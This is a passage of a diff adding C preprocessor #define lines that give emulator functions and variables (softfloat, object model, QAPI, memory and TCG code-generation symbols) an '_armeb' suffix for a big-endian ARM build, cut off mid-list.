+#define mul128By64To192 mul128By64To192_armeb +#define mul128To256 mul128To256_armeb +#define mul64To128 mul64To128_armeb +#define muldiv64 muldiv64_armeb +#define neon_2rm_is_float_op neon_2rm_is_float_op_armeb +#define neon_2rm_sizes neon_2rm_sizes_armeb +#define neon_3r_sizes neon_3r_sizes_armeb +#define neon_get_scalar neon_get_scalar_armeb +#define neon_load_reg neon_load_reg_armeb +#define neon_load_reg64 neon_load_reg64_armeb +#define neon_load_scratch neon_load_scratch_armeb +#define neon_ls_element_type neon_ls_element_type_armeb +#define neon_reg_offset neon_reg_offset_armeb +#define neon_store_reg neon_store_reg_armeb +#define neon_store_reg64 neon_store_reg64_armeb +#define neon_store_scratch neon_store_scratch_armeb +#define new_ldst_label new_ldst_label_armeb +#define next_list next_list_armeb +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_armeb +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_armeb +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_armeb +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_armeb +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_armeb +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_armeb +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_armeb +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_armeb +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_armeb +#define not_v6_cp_reginfo not_v6_cp_reginfo_armeb +#define not_v7_cp_reginfo not_v7_cp_reginfo_armeb +#define not_v8_cp_reginfo not_v8_cp_reginfo_armeb +#define object_child_foreach object_child_foreach_armeb +#define object_class_foreach object_class_foreach_armeb +#define object_class_foreach_tramp object_class_foreach_tramp_armeb +#define object_class_get_list object_class_get_list_armeb +#define object_class_get_list_tramp object_class_get_list_tramp_armeb +#define object_class_get_parent object_class_get_parent_armeb +#define object_deinit object_deinit_armeb +#define object_dynamic_cast object_dynamic_cast_armeb +#define object_finalize object_finalize_armeb +#define object_finalize_child_property object_finalize_child_property_armeb +#define object_get_child_property object_get_child_property_armeb +#define object_get_link_property object_get_link_property_armeb +#define object_get_root object_get_root_armeb +#define object_initialize_with_type object_initialize_with_type_armeb +#define object_init_with_type object_init_with_type_armeb +#define object_instance_init object_instance_init_armeb +#define object_new_with_type object_new_with_type_armeb +#define object_post_init_with_type object_post_init_with_type_armeb +#define object_property_add_alias object_property_add_alias_armeb +#define object_property_add_link object_property_add_link_armeb +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_armeb +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_armeb +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_armeb +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_armeb +#define object_property_allow_set_link object_property_allow_set_link_armeb +#define object_property_del object_property_del_armeb +#define object_property_del_all object_property_del_all_armeb +#define object_property_find object_property_find_armeb +#define object_property_get object_property_get_armeb +#define object_property_get_bool object_property_get_bool_armeb +#define object_property_get_int object_property_get_int_armeb +#define object_property_get_link object_property_get_link_armeb +#define object_property_get_qobject object_property_get_qobject_armeb +#define object_property_get_str object_property_get_str_armeb +#define object_property_get_type object_property_get_type_armeb +#define object_property_is_child object_property_is_child_armeb +#define object_property_set object_property_set_armeb +#define object_property_set_description object_property_set_description_armeb +#define object_property_set_link object_property_set_link_armeb +#define object_property_set_qobject object_property_set_qobject_armeb +#define object_release_link_property object_release_link_property_armeb +#define object_resolve_abs_path object_resolve_abs_path_armeb +#define object_resolve_child_property object_resolve_child_property_armeb +#define object_resolve_link object_resolve_link_armeb +#define object_resolve_link_property object_resolve_link_property_armeb +#define object_resolve_partial_path object_resolve_partial_path_armeb +#define object_resolve_path object_resolve_path_armeb +#define object_resolve_path_component object_resolve_path_component_armeb +#define object_resolve_path_type object_resolve_path_type_armeb +#define object_set_link_property object_set_link_property_armeb +#define object_unparent object_unparent_armeb +#define omap_cachemaint_write omap_cachemaint_write_armeb +#define omap_cp_reginfo omap_cp_reginfo_armeb +#define omap_threadid_write omap_threadid_write_armeb +#define omap_ticonfig_write omap_ticonfig_write_armeb +#define omap_wfi_write omap_wfi_write_armeb +#define op_bits op_bits_armeb +#define open_modeflags open_modeflags_armeb +#define op_to_mov op_to_mov_armeb +#define op_to_movi op_to_movi_armeb +#define output_type_enum output_type_enum_armeb +#define packFloat128 packFloat128_armeb +#define packFloat16 packFloat16_armeb +#define packFloat32 packFloat32_armeb +#define packFloat64 packFloat64_armeb +#define packFloatx80 packFloatx80_armeb +#define page_find page_find_armeb +#define page_find_alloc page_find_alloc_armeb +#define page_flush_tb page_flush_tb_armeb +#define page_flush_tb_1 page_flush_tb_1_armeb +#define page_init page_init_armeb +#define page_size_init page_size_init_armeb +#define par par_armeb +#define parse_array parse_array_armeb +#define parse_error parse_error_armeb +#define parse_escape parse_escape_armeb +#define parse_keyword parse_keyword_armeb +#define parse_literal parse_literal_armeb +#define parse_object parse_object_armeb +#define parse_optional parse_optional_armeb +#define parse_option_bool parse_option_bool_armeb +#define parse_option_number parse_option_number_armeb +#define parse_option_size parse_option_size_armeb +#define parse_pair parse_pair_armeb +#define parser_context_free parser_context_free_armeb +#define parser_context_new parser_context_new_armeb +#define parser_context_peek_token parser_context_peek_token_armeb +#define parser_context_pop_token parser_context_pop_token_armeb +#define parser_context_restore parser_context_restore_armeb +#define parser_context_save parser_context_save_armeb +#define parse_str parse_str_armeb +#define parse_type_bool parse_type_bool_armeb +#define parse_type_int parse_type_int_armeb +#define parse_type_number parse_type_number_armeb +#define parse_type_size parse_type_size_armeb +#define parse_type_str parse_type_str_armeb +#define parse_value parse_value_armeb +#define par_write par_write_armeb +#define patch_reloc patch_reloc_armeb +#define phys_map_node_alloc phys_map_node_alloc_armeb +#define phys_map_node_reserve phys_map_node_reserve_armeb +#define phys_mem_alloc phys_mem_alloc_armeb +#define phys_mem_set_alloc phys_mem_set_alloc_armeb +#define phys_page_compact phys_page_compact_armeb +#define phys_page_compact_all phys_page_compact_all_armeb +#define phys_page_find phys_page_find_armeb +#define phys_page_set phys_page_set_armeb +#define phys_page_set_level phys_page_set_level_armeb +#define phys_section_add phys_section_add_armeb +#define phys_section_destroy phys_section_destroy_armeb +#define phys_sections_free phys_sections_free_armeb +#define pickNaN pickNaN_armeb +#define pickNaNMulAdd pickNaNMulAdd_armeb +#define pmccfiltr_write pmccfiltr_write_armeb +#define pmccntr_read pmccntr_read_armeb +#define pmccntr_sync pmccntr_sync_armeb +#define pmccntr_write pmccntr_write_armeb +#define pmccntr_write32 pmccntr_write32_armeb +#define pmcntenclr_write pmcntenclr_write_armeb +#define pmcntenset_write pmcntenset_write_armeb +#define pmcr_write pmcr_write_armeb +#define pmintenclr_write pmintenclr_write_armeb +#define pmintenset_write pmintenset_write_armeb +#define pmovsr_write pmovsr_write_armeb +#define pmreg_access pmreg_access_armeb +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_armeb +#define pmsav5_data_ap_read pmsav5_data_ap_read_armeb +#define pmsav5_data_ap_write pmsav5_data_ap_write_armeb +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_armeb +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_armeb +#define pmuserenr_write pmuserenr_write_armeb +#define pmxevtyper_write pmxevtyper_write_armeb +#define print_type_bool print_type_bool_armeb +#define print_type_int print_type_int_armeb +#define print_type_number print_type_number_armeb +#define print_type_size print_type_size_armeb +#define print_type_str print_type_str_armeb +#define propagateFloat128NaN propagateFloat128NaN_armeb +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_armeb +#define propagateFloat32NaN propagateFloat32NaN_armeb +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_armeb +#define propagateFloat64NaN propagateFloat64NaN_armeb +#define propagateFloatx80NaN propagateFloatx80NaN_armeb +#define property_get_alias property_get_alias_armeb +#define property_get_bool property_get_bool_armeb +#define property_get_str property_get_str_armeb +#define property_get_uint16_ptr property_get_uint16_ptr_armeb +#define property_get_uint32_ptr property_get_uint32_ptr_armeb +#define property_get_uint64_ptr property_get_uint64_ptr_armeb +#define property_get_uint8_ptr property_get_uint8_ptr_armeb +#define property_release_alias property_release_alias_armeb +#define property_release_bool property_release_bool_armeb +#define property_release_str property_release_str_armeb +#define property_resolve_alias property_resolve_alias_armeb +#define property_set_alias property_set_alias_armeb +#define property_set_bool property_set_bool_armeb +#define property_set_str property_set_str_armeb +#define pstate_read pstate_read_armeb +#define pstate_write pstate_write_armeb +#define pxa250_initfn pxa250_initfn_armeb +#define pxa255_initfn pxa255_initfn_armeb +#define pxa260_initfn pxa260_initfn_armeb +#define pxa261_initfn pxa261_initfn_armeb +#define pxa262_initfn pxa262_initfn_armeb +#define pxa270a0_initfn pxa270a0_initfn_armeb +#define pxa270a1_initfn pxa270a1_initfn_armeb +#define pxa270b0_initfn pxa270b0_initfn_armeb +#define pxa270b1_initfn pxa270b1_initfn_armeb +#define pxa270c0_initfn pxa270c0_initfn_armeb +#define pxa270c5_initfn pxa270c5_initfn_armeb +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_armeb +#define qapi_dealloc_end_list qapi_dealloc_end_list_armeb +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_armeb +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_armeb +#define qapi_dealloc_next_list qapi_dealloc_next_list_armeb +#define qapi_dealloc_pop qapi_dealloc_pop_armeb +#define qapi_dealloc_push qapi_dealloc_push_armeb +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_armeb +#define qapi_dealloc_start_list qapi_dealloc_start_list_armeb +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_armeb +#define qapi_dealloc_start_union qapi_dealloc_start_union_armeb +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_armeb +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_armeb +#define qapi_dealloc_type_int qapi_dealloc_type_int_armeb +#define qapi_dealloc_type_number qapi_dealloc_type_number_armeb +#define qapi_dealloc_type_size qapi_dealloc_type_size_armeb +#define qapi_dealloc_type_str qapi_dealloc_type_str_armeb +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_armeb +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_armeb +#define qapi_free_boolList qapi_free_boolList_armeb +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_armeb +#define qapi_free_int16List qapi_free_int16List_armeb +#define qapi_free_int32List qapi_free_int32List_armeb +#define qapi_free_int64List qapi_free_int64List_armeb +#define qapi_free_int8List qapi_free_int8List_armeb +#define qapi_free_intList qapi_free_intList_armeb +#define qapi_free_numberList qapi_free_numberList_armeb +#define qapi_free_strList qapi_free_strList_armeb +#define qapi_free_uint16List qapi_free_uint16List_armeb +#define qapi_free_uint32List qapi_free_uint32List_armeb +#define qapi_free_uint64List qapi_free_uint64List_armeb +#define qapi_free_uint8List qapi_free_uint8List_armeb +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_armeb +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_armeb +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_armeb +#define qbool_destroy_obj qbool_destroy_obj_armeb +#define qbool_from_int qbool_from_int_armeb +#define qbool_get_int qbool_get_int_armeb +#define qbool_type qbool_type_armeb +#define qbus_create qbus_create_armeb +#define qbus_create_inplace qbus_create_inplace_armeb +#define qbus_finalize qbus_finalize_armeb +#define qbus_initfn qbus_initfn_armeb +#define qbus_realize qbus_realize_armeb +#define qdev_create qdev_create_armeb +#define qdev_get_type qdev_get_type_armeb +#define qdev_register_types qdev_register_types_armeb +#define qdev_set_parent_bus qdev_set_parent_bus_armeb +#define qdev_try_create qdev_try_create_armeb +#define qdict_add_key qdict_add_key_armeb +#define qdict_array_split qdict_array_split_armeb +#define qdict_clone_shallow qdict_clone_shallow_armeb +#define qdict_del qdict_del_armeb +#define qdict_destroy_obj qdict_destroy_obj_armeb +#define qdict_entry_key qdict_entry_key_armeb +#define qdict_entry_value qdict_entry_value_armeb +#define qdict_extract_subqdict qdict_extract_subqdict_armeb +#define qdict_find qdict_find_armeb +#define qdict_first qdict_first_armeb +#define qdict_flatten qdict_flatten_armeb +#define qdict_flatten_qdict qdict_flatten_qdict_armeb +#define qdict_flatten_qlist qdict_flatten_qlist_armeb +#define qdict_get qdict_get_armeb +#define qdict_get_bool qdict_get_bool_armeb +#define qdict_get_double qdict_get_double_armeb +#define qdict_get_int qdict_get_int_armeb +#define qdict_get_obj qdict_get_obj_armeb +#define qdict_get_qdict qdict_get_qdict_armeb +#define qdict_get_qlist qdict_get_qlist_armeb +#define qdict_get_str qdict_get_str_armeb +#define qdict_get_try_bool qdict_get_try_bool_armeb +#define qdict_get_try_int qdict_get_try_int_armeb +#define qdict_get_try_str qdict_get_try_str_armeb +#define qdict_haskey qdict_haskey_armeb +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_armeb +#define qdict_iter qdict_iter_armeb +#define qdict_join qdict_join_armeb +#define qdict_new qdict_new_armeb +#define qdict_next qdict_next_armeb +#define qdict_next_entry qdict_next_entry_armeb +#define qdict_put_obj qdict_put_obj_armeb +#define qdict_size qdict_size_armeb +#define qdict_type qdict_type_armeb +#define qemu_clock_get_us qemu_clock_get_us_armeb +#define qemu_clock_ptr qemu_clock_ptr_armeb +#define qemu_clocks qemu_clocks_armeb +#define qemu_get_cpu qemu_get_cpu_armeb +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_armeb +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_armeb +#define qemu_get_ram_block qemu_get_ram_block_armeb +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_armeb +#define qemu_get_ram_fd qemu_get_ram_fd_armeb +#define qemu_get_ram_ptr qemu_get_ram_ptr_armeb +#define qemu_host_page_mask qemu_host_page_mask_armeb +#define qemu_host_page_size qemu_host_page_size_armeb +#define qemu_init_vcpu qemu_init_vcpu_armeb +#define qemu_ld_helpers qemu_ld_helpers_armeb +#define qemu_log_close qemu_log_close_armeb +#define qemu_log_enabled qemu_log_enabled_armeb +#define qemu_log_flush qemu_log_flush_armeb +#define qemu_loglevel_mask qemu_loglevel_mask_armeb +#define qemu_log_vprintf qemu_log_vprintf_armeb +#define qemu_oom_check qemu_oom_check_armeb +#define qemu_parse_fd qemu_parse_fd_armeb +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_armeb +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_armeb +#define qemu_ram_alloc qemu_ram_alloc_armeb +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_armeb +#define qemu_ram_foreach_block qemu_ram_foreach_block_armeb +#define qemu_ram_free qemu_ram_free_armeb +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_armeb +#define qemu_ram_ptr_length qemu_ram_ptr_length_armeb +#define qemu_ram_remap qemu_ram_remap_armeb +#define qemu_ram_setup_dump qemu_ram_setup_dump_armeb +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_armeb +#define qemu_real_host_page_size qemu_real_host_page_size_armeb +#define qemu_st_helpers qemu_st_helpers_armeb +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_armeb +#define qemu_try_memalign qemu_try_memalign_armeb +#define qentry_destroy qentry_destroy_armeb +#define qerror_human qerror_human_armeb +#define qerror_report qerror_report_armeb +#define qerror_report_err qerror_report_err_armeb +#define qfloat_destroy_obj qfloat_destroy_obj_armeb +#define qfloat_from_double qfloat_from_double_armeb +#define qfloat_get_double qfloat_get_double_armeb +#define qfloat_type qfloat_type_armeb +#define qint_destroy_obj qint_destroy_obj_armeb +#define qint_from_int qint_from_int_armeb +#define qint_get_int qint_get_int_armeb +#define qint_type qint_type_armeb +#define qlist_append_obj qlist_append_obj_armeb +#define qlist_copy qlist_copy_armeb +#define qlist_copy_elem qlist_copy_elem_armeb +#define qlist_destroy_obj qlist_destroy_obj_armeb +#define qlist_empty qlist_empty_armeb +#define qlist_entry_obj qlist_entry_obj_armeb +#define qlist_first qlist_first_armeb +#define qlist_iter qlist_iter_armeb +#define qlist_new qlist_new_armeb +#define qlist_next qlist_next_armeb +#define qlist_peek qlist_peek_armeb +#define qlist_pop qlist_pop_armeb +#define qlist_size qlist_size_armeb +#define qlist_size_iter qlist_size_iter_armeb +#define qlist_type qlist_type_armeb +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_armeb +#define qmp_input_end_list qmp_input_end_list_armeb +#define qmp_input_end_struct qmp_input_end_struct_armeb +#define qmp_input_get_next_type qmp_input_get_next_type_armeb +#define qmp_input_get_object qmp_input_get_object_armeb +#define qmp_input_get_visitor qmp_input_get_visitor_armeb +#define qmp_input_next_list qmp_input_next_list_armeb +#define qmp_input_optional qmp_input_optional_armeb +#define qmp_input_pop qmp_input_pop_armeb +#define qmp_input_push qmp_input_push_armeb +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_armeb +#define qmp_input_start_list qmp_input_start_list_armeb +#define qmp_input_start_struct qmp_input_start_struct_armeb +#define qmp_input_type_bool qmp_input_type_bool_armeb +#define qmp_input_type_int qmp_input_type_int_armeb +#define qmp_input_type_number qmp_input_type_number_armeb +#define qmp_input_type_str qmp_input_type_str_armeb +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_armeb +#define qmp_input_visitor_new qmp_input_visitor_new_armeb +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_armeb +#define qmp_output_add_obj qmp_output_add_obj_armeb +#define qmp_output_end_list qmp_output_end_list_armeb +#define qmp_output_end_struct qmp_output_end_struct_armeb +#define qmp_output_first qmp_output_first_armeb +#define qmp_output_get_qobject qmp_output_get_qobject_armeb +#define qmp_output_get_visitor qmp_output_get_visitor_armeb +#define qmp_output_last qmp_output_last_armeb +#define qmp_output_next_list qmp_output_next_list_armeb +#define qmp_output_pop qmp_output_pop_armeb +#define qmp_output_push_obj qmp_output_push_obj_armeb +#define qmp_output_start_list qmp_output_start_list_armeb +#define qmp_output_start_struct qmp_output_start_struct_armeb +#define qmp_output_type_bool qmp_output_type_bool_armeb +#define qmp_output_type_int qmp_output_type_int_armeb +#define qmp_output_type_number qmp_output_type_number_armeb +#define qmp_output_type_str qmp_output_type_str_armeb +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_armeb +#define qmp_output_visitor_new qmp_output_visitor_new_armeb +#define qobject_decref qobject_decref_armeb +#define qobject_to_qbool qobject_to_qbool_armeb +#define qobject_to_qdict qobject_to_qdict_armeb +#define qobject_to_qfloat qobject_to_qfloat_armeb +#define qobject_to_qint qobject_to_qint_armeb +#define qobject_to_qlist qobject_to_qlist_armeb +#define qobject_to_qstring qobject_to_qstring_armeb +#define qobject_type qobject_type_armeb +#define qstring_append qstring_append_armeb +#define qstring_append_chr qstring_append_chr_armeb +#define qstring_append_int qstring_append_int_armeb +#define qstring_destroy_obj qstring_destroy_obj_armeb +#define qstring_from_escaped_str qstring_from_escaped_str_armeb +#define qstring_from_str qstring_from_str_armeb +#define qstring_from_substr qstring_from_substr_armeb +#define qstring_get_length qstring_get_length_armeb +#define qstring_get_str qstring_get_str_armeb +#define qstring_new qstring_new_armeb +#define qstring_type qstring_type_armeb +#define ram_block_add ram_block_add_armeb +#define ram_size ram_size_armeb +#define range_compare range_compare_armeb +#define range_covers_byte range_covers_byte_armeb +#define range_get_last range_get_last_armeb +#define range_merge range_merge_armeb +#define ranges_can_merge ranges_can_merge_armeb +#define raw_read raw_read_armeb +#define raw_write raw_write_armeb +#define rcon rcon_armeb +#define read_raw_cp_reg read_raw_cp_reg_armeb +#define recip_estimate recip_estimate_armeb +#define recip_sqrt_estimate recip_sqrt_estimate_armeb +#define register_cp_regs_for_features register_cp_regs_for_features_armeb +#define register_multipage register_multipage_armeb +#define register_subpage register_subpage_armeb +#define register_tm_clones register_tm_clones_armeb +#define register_types_object register_types_object_armeb +#define regnames regnames_armeb +#define render_memory_region render_memory_region_armeb +#define reset_all_temps reset_all_temps_armeb +#define reset_temp reset_temp_armeb +#define rol32 rol32_armeb +#define rol64 rol64_armeb +#define ror32 ror32_armeb +#define ror64 ror64_armeb +#define roundAndPackFloat128 roundAndPackFloat128_armeb +#define roundAndPackFloat16 roundAndPackFloat16_armeb +#define roundAndPackFloat32 roundAndPackFloat32_armeb +#define roundAndPackFloat64 roundAndPackFloat64_armeb +#define roundAndPackFloatx80 roundAndPackFloatx80_armeb +#define roundAndPackInt32 roundAndPackInt32_armeb +#define roundAndPackInt64 roundAndPackInt64_armeb +#define roundAndPackUint64 roundAndPackUint64_armeb +#define round_to_inf round_to_inf_armeb +#define run_on_cpu run_on_cpu_armeb +#define s0 s0_armeb +#define S0 S0_armeb +#define s1 s1_armeb +#define S1 S1_armeb +#define sa1100_initfn sa1100_initfn_armeb +#define sa1110_initfn sa1110_initfn_armeb +#define save_globals save_globals_armeb +#define scr_write scr_write_armeb +#define sctlr_write sctlr_write_armeb +#define set_bit set_bit_armeb +#define set_bits set_bits_armeb +#define set_default_nan_mode set_default_nan_mode_armeb +#define set_feature set_feature_armeb +#define set_float_detect_tininess set_float_detect_tininess_armeb +#define set_float_exception_flags set_float_exception_flags_armeb +#define set_float_rounding_mode set_float_rounding_mode_armeb +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_armeb +#define set_flush_to_zero set_flush_to_zero_armeb +#define set_swi_errno set_swi_errno_armeb +#define sextract32 sextract32_armeb +#define sextract64 sextract64_armeb +#define shift128ExtraRightJamming shift128ExtraRightJamming_armeb +#define shift128Right shift128Right_armeb +#define shift128RightJamming shift128RightJamming_armeb +#define shift32RightJamming shift32RightJamming_armeb +#define shift64ExtraRightJamming shift64ExtraRightJamming_armeb +#define shift64RightJamming shift64RightJamming_armeb +#define shifter_out_im shifter_out_im_armeb +#define shortShift128Left shortShift128Left_armeb +#define shortShift192Left shortShift192Left_armeb +#define simple_mpu_ap_bits simple_mpu_ap_bits_armeb +#define size_code_gen_buffer size_code_gen_buffer_armeb +#define softmmu_lock_user softmmu_lock_user_armeb +#define softmmu_lock_user_string softmmu_lock_user_string_armeb +#define softmmu_tget32 softmmu_tget32_armeb +#define softmmu_tget8 softmmu_tget8_armeb +#define softmmu_tput32 softmmu_tput32_armeb +#define softmmu_unlock_user softmmu_unlock_user_armeb +#define sort_constraints sort_constraints_armeb +#define sp_el0_access sp_el0_access_armeb +#define spsel_read spsel_read_armeb +#define spsel_write spsel_write_armeb +#define start_list start_list_armeb +#define stb_p stb_p_armeb +#define stb_phys stb_phys_armeb +#define stl_be_p stl_be_p_armeb +#define stl_be_phys stl_be_phys_armeb +#define stl_he_p stl_he_p_armeb +#define stl_le_p stl_le_p_armeb +#define stl_le_phys stl_le_phys_armeb +#define stl_phys stl_phys_armeb +#define stl_phys_internal stl_phys_internal_armeb +#define stl_phys_notdirty stl_phys_notdirty_armeb +#define store_cpu_offset store_cpu_offset_armeb +#define store_reg store_reg_armeb +#define store_reg_bx store_reg_bx_armeb +#define store_reg_from_load store_reg_from_load_armeb +#define stq_be_p stq_be_p_armeb +#define stq_be_phys stq_be_phys_armeb +#define stq_he_p stq_he_p_armeb +#define stq_le_p stq_le_p_armeb +#define stq_le_phys stq_le_phys_armeb +#define stq_phys stq_phys_armeb +#define string_input_get_visitor string_input_get_visitor_armeb +#define string_input_visitor_cleanup string_input_visitor_cleanup_armeb +#define string_input_visitor_new string_input_visitor_new_armeb +#define strongarm_cp_reginfo strongarm_cp_reginfo_armeb +#define strstart strstart_armeb +#define strtosz strtosz_armeb +#define strtosz_suffix strtosz_suffix_armeb +#define stw_be_p stw_be_p_armeb +#define stw_be_phys stw_be_phys_armeb +#define stw_he_p stw_he_p_armeb +#define stw_le_p stw_le_p_armeb +#define stw_le_phys stw_le_phys_armeb +#define stw_phys stw_phys_armeb +#define stw_phys_internal stw_phys_internal_armeb +#define sub128 sub128_armeb +#define sub16_sat sub16_sat_armeb +#define sub16_usat sub16_usat_armeb +#define sub192 sub192_armeb +#define sub8_sat sub8_sat_armeb +#define sub8_usat sub8_usat_armeb +#define subFloat128Sigs subFloat128Sigs_armeb +#define subFloat32Sigs subFloat32Sigs_armeb +#define subFloat64Sigs subFloat64Sigs_armeb +#define subFloatx80Sigs subFloatx80Sigs_armeb +#define subpage_accepts subpage_accepts_armeb +#define subpage_init subpage_init_armeb +#define subpage_ops subpage_ops_armeb +#define subpage_read subpage_read_armeb +#define subpage_register subpage_register_armeb +#define subpage_write subpage_write_armeb +#define suffix_mul suffix_mul_armeb +#define swap_commutative swap_commutative_armeb +#define swap_commutative2 swap_commutative2_armeb +#define switch_mode switch_mode_armeb +#define switch_v7m_sp switch_v7m_sp_armeb +#define syn_aa32_bkpt syn_aa32_bkpt_armeb +#define syn_aa32_hvc syn_aa32_hvc_armeb +#define syn_aa32_smc syn_aa32_smc_armeb +#define syn_aa32_svc syn_aa32_svc_armeb +#define syn_breakpoint syn_breakpoint_armeb +#define sync_globals sync_globals_armeb +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_armeb +#define syn_cp14_rt_trap syn_cp14_rt_trap_armeb +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_armeb +#define syn_cp15_rt_trap syn_cp15_rt_trap_armeb +#define syn_data_abort syn_data_abort_armeb +#define syn_fp_access_trap syn_fp_access_trap_armeb +#define syn_insn_abort syn_insn_abort_armeb +#define syn_swstep syn_swstep_armeb +#define syn_uncategorized syn_uncategorized_armeb +#define syn_watchpoint syn_watchpoint_armeb +#define syscall_err syscall_err_armeb +#define system_bus_class_init system_bus_class_init_armeb +#define system_bus_info system_bus_info_armeb +#define t2ee_cp_reginfo t2ee_cp_reginfo_armeb +#define table_logic_cc table_logic_cc_armeb +#define target_parse_constraint target_parse_constraint_armeb +#define target_words_bigendian target_words_bigendian_armeb +#define tb_add_jump tb_add_jump_armeb +#define tb_alloc tb_alloc_armeb +#define tb_alloc_page tb_alloc_page_armeb +#define tb_check_watchpoint tb_check_watchpoint_armeb +#define tb_find_fast tb_find_fast_armeb +#define tb_find_pc tb_find_pc_armeb +#define tb_find_slow tb_find_slow_armeb +#define tb_flush tb_flush_armeb +#define tb_flush_jmp_cache tb_flush_jmp_cache_armeb +#define tb_free tb_free_armeb +#define tb_gen_code tb_gen_code_armeb +#define tb_hash_remove tb_hash_remove_armeb +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_armeb +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_armeb +#define tb_invalidate_phys_range tb_invalidate_phys_range_armeb +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_armeb +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_armeb +#define tb_jmp_remove tb_jmp_remove_armeb +#define tb_link_page tb_link_page_armeb +#define tb_page_remove tb_page_remove_armeb +#define tb_phys_hash_func tb_phys_hash_func_armeb +#define tb_phys_invalidate tb_phys_invalidate_armeb +#define tb_reset_jump tb_reset_jump_armeb +#define tb_set_jmp_target tb_set_jmp_target_armeb +#define tcg_accel_class_init tcg_accel_class_init_armeb +#define tcg_accel_type tcg_accel_type_armeb +#define tcg_add_param_i32 tcg_add_param_i32_armeb +#define tcg_add_param_i64 tcg_add_param_i64_armeb +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_armeb +#define tcg_allowed tcg_allowed_armeb +#define tcg_canonicalize_memop tcg_canonicalize_memop_armeb +#define tcg_commit tcg_commit_armeb +#define tcg_cond_to_jcc tcg_cond_to_jcc_armeb +#define tcg_constant_folding tcg_constant_folding_armeb +#define tcg_const_i32 tcg_const_i32_armeb +#define tcg_const_i64 tcg_const_i64_armeb +#define tcg_const_local_i32 tcg_const_local_i32_armeb +#define tcg_const_local_i64 tcg_const_local_i64_armeb +#define tcg_context_init tcg_context_init_armeb +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_armeb +#define tcg_cpu_exec tcg_cpu_exec_armeb +#define tcg_current_code_size tcg_current_code_size_armeb +#define tcg_dump_info tcg_dump_info_armeb +#define tcg_dump_ops tcg_dump_ops_armeb +#define tcg_exec_all tcg_exec_all_armeb +#define tcg_find_helper tcg_find_helper_armeb +#define tcg_func_start tcg_func_start_armeb +#define tcg_gen_abs_i32 tcg_gen_abs_i32_armeb +#define tcg_gen_add2_i32 tcg_gen_add2_i32_armeb +#define tcg_gen_add_i32 tcg_gen_add_i32_armeb +#define tcg_gen_add_i64 tcg_gen_add_i64_armeb +#define tcg_gen_addi_i32 tcg_gen_addi_i32_armeb +#define tcg_gen_addi_i64 tcg_gen_addi_i64_armeb +#define tcg_gen_andc_i32 tcg_gen_andc_i32_armeb +#define tcg_gen_and_i32 tcg_gen_and_i32_armeb +#define tcg_gen_and_i64 tcg_gen_and_i64_armeb +#define tcg_gen_andi_i32 tcg_gen_andi_i32_armeb +#define tcg_gen_andi_i64 tcg_gen_andi_i64_armeb +#define tcg_gen_br tcg_gen_br_armeb +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_armeb +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_armeb +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_armeb +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_armeb +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_armeb +#define tcg_gen_callN tcg_gen_callN_armeb +#define tcg_gen_code tcg_gen_code_armeb +#define tcg_gen_code_common tcg_gen_code_common_armeb +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_armeb +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_armeb +#define tcg_gen_debug_insn_start 